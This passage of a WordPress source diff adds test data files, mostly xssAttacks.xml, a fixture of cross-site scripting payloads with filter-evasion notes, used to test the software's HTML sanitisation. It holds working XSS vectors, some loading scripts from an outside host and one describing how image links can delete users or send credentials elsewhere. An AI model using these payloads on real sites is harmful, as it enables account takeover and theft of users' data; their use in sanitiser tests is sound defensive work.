+<td style="color: #9c0006; text-align: center; background: #FFC7CE;">60%</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">by credit</td>
+<td style="padding: 0 8px;">75 hours</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">by credit</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td style="padding: 0 8px;">250 hours</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+</tr>
+<tr>
+<td style="padding-right: 8px;">Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td style="padding: 0 8px;">100 hours</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td style="padding: 0 8px;">25 hours</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td style="padding-right: 8px;">Effective Aug 2014</td>
+<td style="color: #9c6500; text-align: center; background: #FFEB9C;">n/a</td>
+<td></td>
+<td style="color: #9c6500; text-align: center; background: #FFEB9C;">n/a</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #9c6500; text-align: center; background: #FFEB9C;">Dec \'14</td>
+<td></td>
+<td style="color: #9c6500; text-align: center; background: #FFEB9C;">Dec \'14</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td style="padding: 0 8px;">2nd Class</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+</tr>
+</tbody>
+</table>
+Tota offendit sea et, ne vim dicam admodum blandit. No vix <abbr>quas</abbr> nusquam. Putant scripta fierent mei ea. Eum ei putant persius probatus, quo ea wisi electram.
+
+ Eu illud definiebas honestatis sit. Eam exerci deseruisse ei, ex cum erant tacimates. Enim eros id vel, vidisse abhorreant cu eum. Et saperet appellantur est, eum esse soluta recusabo ad. Eam malis sensibus ea.
+
+ Exerci scripta at est. His ei nostrum perfecto, accumsan eligendi tincidunt an eum. Ius tempor aperiam ea, mei autem lorem eu. Vis duis modus ornatus no, alia malis ornatus mea et, ea eros probatus qui.
+
+ Mazim assentior mel te, rebum periculis constituam nec ut. In ferri admodum deleniti eum, nam te quas nominati appellantur. Est at erat pertinax, no sit nulla placerat. Munere euripidis ad has.
+
+ Magna graeco oblique vel ea, no movet aliquando mea. Eum no sadipscing delicatissimi, doctus consequuntur eu sed. Sed in persius eleifend, regione euismod no per. Ei pri vivendum gubergren, vix at eligendi invenire aliquando, brute malorum id usu. Cum tantas prodesset consequuntur ei, eum liberavisse delicatissimi vituperatoribus at.
+
+ Cu bonorum graecis ius. Duo id ancillae probatus. Tota latine pri an. Cum ei iudico semper. Eum in blandit voluptaria.
+
+ Illud debet vitae ex vis numquam.'),
+
+/* DIVIDER */
+
+);}?>
Index: /tags/5.0.20/tests/phpunit/data/formatting/windows1252.py
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/windows1252.py	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/windows1252.py	(revision 56912)
@@ -0,0 +1,27 @@
+# Generates test data for functions converting between
+# dodgy windows-1252-only values and their unicode counterparts
+
+unichars = ["201A", "0192", "201E", "2026", "2020", "2021", 
+            "02C6", "2030", "0160", "2039", "0152", "2018", 
+            "2019", "201C", "201D", "2022", "2013", "2014", 
+            "02DC", "2122", "0161", "203A", "0153", "0178"];
+
+winpoints = []
+unipoints = []
+
+for char in unichars:
+    char = unichr(int(char, 16))
+    dec = ord(char)
+    win = ord(char.encode("windows-1252"))
+    
+    unipoints.append(dec)
+    winpoints.append(win)
+
+def entitize(s):
+    return "&#%s;" % s
+
+winpoints = map(entitize, winpoints)
+unipoints = map(entitize, unipoints)
+
+print "".join(winpoints), "".join(unipoints)
+    
Index: /tags/5.0.20/tests/phpunit/data/formatting/xssAttacks.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/xssAttacks.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/xssAttacks.xml	(revision 56912)
@@ -0,0 +1,976 @@
+<?xml version="1.0"?>
+<xss> 
+	<attack> 
+		<name>XSS Locator</name> 
+		<code>&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;=&amp;{}</code> 
+		<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.  You&apos;ll need to replace the &quot;&amp;&quot; with &quot;%26&quot; if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable.  Tip: If you&apos;re in a rush and need to quickly check a page, often times injecting the deprecated &quot;&lt;PLAINTEXT&gt;&quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XSS Quick Test</name> 
+		<code>&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}</code> 
+		<desc>If you don&apos;t have much space, this string is a nice compact XSS injection check. View source after injecting it and look for &lt;XSS versus &amp;lt;XSS to see if it is vulnerable.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Alert()</name> 
+		<code>&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;</code> 
+		<desc>Basic injection attack</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Source File</name> 
+		<code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Char Code</name> 
+		<code>&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code> 
+		<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BASE</name> 
+		<code>&lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;</code> 
+		<desc>Works in IE and Netscape 8.1 in safe mode.  You need the // to comment out the next characters so you won&apos;t get a JavaScript error and your XSS tag will render.  Also, this relies on the fact that the website uses dynamically placed images like &quot;images/image.jpg&quot; rather than full paths.  If the path includes a leading forward slash like &quot;/images/image.jpg&quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BGSOUND</name> 
+		<code>&lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>BGSOUND</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BODY background-image</name> 
+		<code>&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>BODY image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BODY ONLOAD</name> 
+		<code>&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>BODY tag (I like this method because it doesn&apos;t require using any variants of &quot;javascript:&quot; or &quot;&lt;SCRIPT...&quot; to accomplish the XSS attack)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV background-image 1</name> 
+		<code>&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Div background-image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV background-image 2</name> 
+		<code>&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Div background-image plus extra characters.  I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.  (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV expression</name> 
+		<code>&lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;</code> 
+		<desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and &quot;expression&quot;</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>FRAME</name> 
+		<code>&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;</code> 
+		<desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IFRAME</name> 
+		<code>&lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;</code> 
+		<desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>INPUT Image</name> 
+		<code>&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>INPUT Image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>	
+	</attack> 
+	<attack> 
+		<name>IMG w/JavaScript Directive</name> 
+		<code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Image XSS using the JavaScript directive.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG No Quotes/Semicolon</name> 
+		<code>&lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>No quotes and no semicolon</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Dynsrc</name> 
+		<code>&lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>IMG Dynsrc</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Lowsrc</name> 
+		<code>&lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>IMG Lowsrc</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Embedded commands 1</name> 
+		<code>&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;</code> 
+		<desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain.  This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc...  This is one of the lesser used but more useful XSS vectors.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Embedded commands 2</name> 
+		<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser</code> 
+		<desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC=&quot;http://badguy.com/a.jpg&quot;&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG STYLE w/expression</name> 
+		<code>exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);
+xss:&amp;#101;x&amp;#x2F;*XSS*//*/*/pression(alert(&quot;XSS&quot;))&apos;&gt;</code> 
+		<desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>List-style-image</name> 
+		<code>&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS</code> 
+		<desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG w/VBscript</name> 
+		<code>&lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;</code> 
+		<desc>VBscript in an image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>LAYER</name> 
+		<code>&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;</code> 
+		<desc>Layer (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Livescript</name> 
+		<code>&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;</code> 
+		<desc>Livescript (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>US-ASCII encoding</name> 
+		<code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> 
+		<desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8.  This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself.  This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion.  Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>The odd thing about meta refresh is that it doesn&apos;t send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META w/data:URL</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;</code> 
+		<desc>This is nice because it also doesn&apos;t have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META w/additional URL parameter</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an &quot;http://&quot; you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Mocha</name> 
+		<code>&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;</code> 
+		<desc>Mocha (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT</name> 
+		<code>&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;</code> 
+		<desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> 
+		<label>HTML Element Attacks</label> 
